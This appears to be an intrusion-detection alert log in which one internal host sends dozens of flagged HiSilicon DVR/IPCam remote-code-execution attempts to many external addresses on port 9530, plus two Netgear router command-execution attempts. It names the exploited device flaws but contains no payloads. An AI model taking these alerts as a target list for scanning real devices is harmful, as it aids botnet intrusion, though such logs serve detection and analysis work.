Timestamp:	05/16/24-16:38:50.047735
SID:	2030487
Source Port:	34156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.163.215.250

Timestamp:	05/16/24-16:38:55.198260
SID:	2030488
Source Port:	47914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.163.215.250

Timestamp:	05/16/24-16:38:55.198260
SID:	2030487
Source Port:	47914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.241.122.5

Timestamp:	05/16/24-16:38:55.210426
SID:	2030488
Source Port:	59086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.242.100.217

Timestamp:	05/16/24-16:38:59.518467
SID:	2030487
Source Port:	38506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.48.140.195

Timestamp:	05/16/24-16:39:14.517323
SID:	2030488
Source Port:	37128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.242.100.217

Timestamp:	05/16/24-16:38:59.518467
SID:	2030488
Source Port:	38506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.48.140.195

Timestamp:	05/16/24-16:39:14.517323
SID:	2030487
Source Port:	37128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.61.65.52

Timestamp:	05/16/24-16:39:14.520226
SID:	2030488
Source Port:	34854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.61.65.52

Timestamp:	05/16/24-16:39:14.520226
SID:	2030487
Source Port:	34854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.90.168.22

Timestamp:	05/16/24-16:39:08.127268
SID:	2030487
Source Port:	38584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.90.168.22

Timestamp:	05/16/24-16:39:08.127268
SID:	2030488
Source Port:	38584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.203.61.254

Timestamp:	05/16/24-16:39:12.301187
SID:	2030487
Source Port:	35546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.203.61.254

Timestamp:	05/16/24-16:39:12.301187
SID:	2030488
Source Port:	35546
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.17.198.194

Timestamp:	05/16/24-16:38:59.588250
SID:	2030488
Source Port:	38992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.17.198.194

Timestamp:	05/16/24-16:38:59.588250
SID:	2030487
Source Port:	38992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.99.135.178

Timestamp:	05/16/24-16:38:57.425698
SID:	2030488
Source Port:	54966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.99.135.178

Timestamp:	05/16/24-16:38:57.425698
SID:	2030487
Source Port:	54966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.36.77.16

Timestamp:	05/16/24-16:39:02.725550
SID:	2030487
Source Port:	50744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.36.77.16

Timestamp:	05/16/24-16:39:02.725550
SID:	2030488
Source Port:	50744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.189.228.37

Timestamp:	05/16/24-16:38:57.433031
SID:	2030488
Source Port:	55668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.189.228.37

Timestamp:	05/16/24-16:38:57.433031
SID:	2030487
Source Port:	55668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.215.128.217

Timestamp:	05/16/24-16:38:53.013550
SID:	2030488
Source Port:	43520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.3.146.103

Timestamp:	05/16/24-16:39:02.767764
SID:	2030487
Source Port:	59216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.3.146.103

Timestamp:	05/16/24-16:39:02.767764
SID:	2030488
Source Port:	59216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.71.69.253

Timestamp:	05/16/24-16:39:12.383707
SID:	2030487
Source Port:	43740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.71.69.253

Timestamp:	05/16/24-16:39:12.383707
SID:	2030488
Source Port:	43740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.215.128.217

Timestamp:	05/16/24-16:38:53.013550
SID:	2030487
Source Port:	43520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.30.161.40

Timestamp:	05/16/24-16:39:08.125404
SID:	2030487
Source Port:	55972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.30.161.40

Timestamp:	05/16/24-16:39:08.125404
SID:	2030488
Source Port:	55972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.226.64.224

Timestamp:	05/16/24-16:38:55.208928
SID:	2030487
Source Port:	34722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.226.64.224

Timestamp:	05/16/24-16:38:55.208928
SID:	2030488
Source Port:	34722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.246.192.180

Timestamp:	05/16/24-16:38:59.519957
SID:	2030487
Source Port:	34232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.246.192.180

Timestamp:	05/16/24-16:38:59.519957
SID:	2030488
Source Port:	34232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.83.244.251

Timestamp:	05/16/24-16:39:03.276891
SID:	2030488
Source Port:	40414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.83.244.251

Timestamp:	05/16/24-16:39:03.276891
SID:	2030487
Source Port:	40414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.127.26.253

Timestamp:	05/16/24-16:38:57.448957
SID:	2030488
Source Port:	34274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.235.215.171

Timestamp:	05/16/24-16:39:14.529793
SID:	2030487
Source Port:	42534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.127.26.253

Timestamp:	05/16/24-16:38:57.448957
SID:	2030487
Source Port:	34274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.235.215.171

Timestamp:	05/16/24-16:39:14.529793
SID:	2030488
Source Port:	42534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.136.196.139

Timestamp:	05/16/24-16:38:57.305774
SID:	2030488
Source Port:	50314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.136.196.139

Timestamp:	05/16/24-16:38:57.305774
SID:	2030487
Source Port:	50314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.208.115.136

Timestamp:	05/16/24-16:39:12.382754
SID:	2030487
Source Port:	48018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.208.115.136

Timestamp:	05/16/24-16:39:12.382754
SID:	2030488
Source Port:	48018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.100.179.117

Timestamp:	05/16/24-16:38:53.099196
SID:	2030487
Source Port:	58198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.100.179.117

Timestamp:	05/16/24-16:38:53.099196
SID:	2030488
Source Port:	58198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.199.86.83

Timestamp:	05/16/24-16:39:03.283112
SID:	2030487
Source Port:	33074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.199.86.83

Timestamp:	05/16/24-16:39:03.283112
SID:	2030488
Source Port:	33074
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.74.120.19

Timestamp:	05/16/24-16:39:14.494453
SID:	2030487
Source Port:	52706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.74.120.19

Timestamp:	05/16/24-16:39:14.494453
SID:	2030488
Source Port:	52706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.175.120.112

Timestamp:	05/16/24-16:39:14.507664
SID:	2030488
Source Port:	53296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.175.120.112

Timestamp:	05/16/24-16:39:14.507664
SID:	2030487
Source Port:	53296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.198.237.18

Timestamp:	05/16/24-16:39:02.746067
SID:	2030488
Source Port:	38360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.108.13.17

Timestamp:	05/16/24-16:39:08.044912
SID:	2030488
Source Port:	40828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.108.13.17

Timestamp:	05/16/24-16:39:08.044912
SID:	2030487
Source Port:	40828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.198.237.18

Timestamp:	05/16/24-16:39:02.746067
SID:	2030487
Source Port:	38360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 84.237.126.186

Timestamp:	05/16/24-16:39:13.663775
SID:	2029215
Source Port:	58096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.178.15.148

Timestamp:	05/16/24-16:39:02.765694
SID:	2030487
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.178.15.148

Timestamp:	05/16/24-16:39:02.765694
SID:	2030488
Source Port:	56244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.126.80.48

Timestamp:	05/16/24-16:39:05.707690
SID:	2030487
Source Port:	51574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.115.99.193

Timestamp:	05/16/24-16:38:53.099220
SID:	2030487
Source Port:	53886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.154.101.162

Timestamp:	05/16/24-16:38:55.226777
SID:	2030487
Source Port:	46606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.115.99.193

Timestamp:	05/16/24-16:38:53.099220
SID:	2030488
Source Port:	53886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.154.101.162

Timestamp:	05/16/24-16:38:55.226777
SID:	2030488
Source Port:	46606
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.126.80.48

Timestamp:	05/16/24-16:39:05.707690
SID:	2030488
Source Port:	51574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.129.169.75

Timestamp:	05/16/24-16:38:55.204631
SID:	2030487
Source Port:	54774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.129.169.75

Timestamp:	05/16/24-16:38:55.204631
SID:	2030488
Source Port:	54774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.40.252.188

Timestamp:	05/16/24-16:39:08.041239
SID:	2030488
Source Port:	41308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.40.252.188

Timestamp:	05/16/24-16:39:08.041239
SID:	2030487
Source Port:	41308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.105.10.119

Timestamp:	05/16/24-16:38:57.409864
SID:	2030488
Source Port:	34502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.105.10.119

Timestamp:	05/16/24-16:38:57.409864
SID:	2030487
Source Port:	34502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.241.82.141

Timestamp:	05/16/24-16:39:03.290466
SID:	2030487
Source Port:	48890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.241.82.141

Timestamp:	05/16/24-16:39:03.290466
SID:	2030488
Source Port:	48890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.203.206.4

Timestamp:	05/16/24-16:38:55.192594
SID:	2030487
Source Port:	55370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.203.206.4

Timestamp:	05/16/24-16:38:55.192594
SID:	2030488
Source Port:	55370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.25.119.161

Timestamp:	05/16/24-16:39:08.041207
SID:	2030488
Source Port:	36216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.25.119.161

Timestamp:	05/16/24-16:39:08.041207
SID:	2030487
Source Port:	36216
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.159.192.68

Timestamp:	05/16/24-16:38:53.013597
SID:	2030488
Source Port:	51718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.159.192.68

Timestamp:	05/16/24-16:38:53.013597
SID:	2030487
Source Port:	51718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.174.237.150

Timestamp:	05/16/24-16:38:50.004215
SID:	2030488
Source Port:	47140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.58.12.52

Timestamp:	05/16/24-16:39:14.520195
SID:	2030488
Source Port:	55198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.174.237.150

Timestamp:	05/16/24-16:38:50.004215
SID:	2030487
Source Port:	47140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.74.241.105

Timestamp:	05/16/24-16:38:57.431434
SID:	2030488
Source Port:	60382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.74.241.105

Timestamp:	05/16/24-16:38:57.431434
SID:	2030487
Source Port:	60382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.58.12.52

Timestamp:	05/16/24-16:39:14.520195
SID:	2030487
Source Port:	55198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.167.215.251

Timestamp:	05/16/24-16:38:50.046366
SID:	2030488
Source Port:	54076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 82.88.139.252

Timestamp:	05/16/24-16:39:05.500410
SID:	2029215
Source Port:	43658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.167.215.251

Timestamp:	05/16/24-16:38:50.046366
SID:	2030487
Source Port:	54076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.75.144.149

Timestamp:	05/16/24-16:39:02.727963
SID:	2030487
Source Port:	59362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.75.144.149

Timestamp:	05/16/24-16:39:02.727963
SID:	2030488
Source Port:	59362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.78.135.179

Timestamp:	05/16/24-16:39:14.492400
SID:	2030488
Source Port:	48968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.78.135.179

Timestamp:	05/16/24-16:39:14.492400
SID:	2030487
Source Port:	48968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.82.13.202

Timestamp:	05/16/24-16:39:02.744322
SID:	2030487
Source Port:	47212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.81.47.244

Timestamp:	05/16/24-16:38:57.304889
SID:	2030488
Source Port:	58110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.82.13.202

Timestamp:	05/16/24-16:39:02.744322
SID:	2030488
Source Port:	47212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.222.192.168

Timestamp:	05/16/24-16:39:05.699955
SID:	2030487
Source Port:	50224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.81.47.244

Timestamp:	05/16/24-16:38:57.304889
SID:	2030487
Source Port:	58110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.251.180.139

Timestamp:	05/16/24-16:39:14.493475
SID:	2030487
Source Port:	35432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.251.180.139

Timestamp:	05/16/24-16:39:14.493475
SID:	2030488
Source Port:	35432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

